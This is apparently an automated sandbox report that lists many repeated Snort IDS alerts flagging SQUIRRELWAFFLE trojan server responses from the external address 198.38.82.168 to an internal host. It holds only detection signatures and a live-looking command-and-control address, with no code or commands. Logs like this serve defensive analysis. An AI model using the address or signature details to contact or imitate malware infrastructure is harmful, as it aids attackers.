Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49865
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49868
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49868
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49872
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49872
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49876
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49876
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49878
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49878
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49881
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49881
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49884
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49884
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49887
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49887
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49889
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49889
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49893
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49893
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49895
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49895
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49901
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49901
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49902
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49902
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49903
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49903
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49904
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49904
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49905
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49905
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49906
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49906
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49909
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49909
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49910
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49910
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49912
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49912
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49911
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49911
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49913
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49913
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49914
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49914
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49915
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49915
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49916
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49916
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49917
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49917
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49918
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49918
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49919
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49919
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49920
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49920
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49921
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49921
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49923
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49923
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49927
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49927
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49928
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49928
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49929
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49929
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49930
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49930
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49931
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49931
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49932
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49932
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49933
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49933
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49937
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49937
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49938
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49938
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49945
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49945
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49943
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49943
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49948
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49948
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49949
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49949
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49954
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49954
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49955
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49955
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49959
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49959
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49962
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49962
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49966
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49966
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49968
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49968
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49970
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49970
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49971
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49971
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49973
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49973
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49974
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49974
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49975
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49975
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49976
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49976
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49978
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49978
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49977
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49977
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49979
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49979
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49980
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49980
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49981
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49981
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49982
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49982
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49983
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49983
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49984
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49984
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49985
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49985
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49986
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49986
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49988
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49988
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49989
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49989
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49990
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49990
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49987
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49987
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49991
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49991
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49992
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49992
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49994
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49994
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49995
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49995
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49996
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49996
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49997
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49997
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49998
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49998
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49999
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:49999
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50000
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50000
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50001
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50001
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50003
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50003
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50004
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50004
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50005
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50005
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50006
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50006
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50002
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50002
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50007
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50007
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50008
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50008
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50009
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50009
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50010
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50010
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50011
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50011
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50012
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50012
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50013
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50013
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50014
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50014
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50017
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50017
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50016
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50016
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50018
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50018
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50019
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50019
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50021
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50021
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50020
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50020
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50023
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50023
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50022
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50022
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50024
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50024
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50025
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50025
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50026
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50026
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50027
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50027
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50028
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50028
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50029
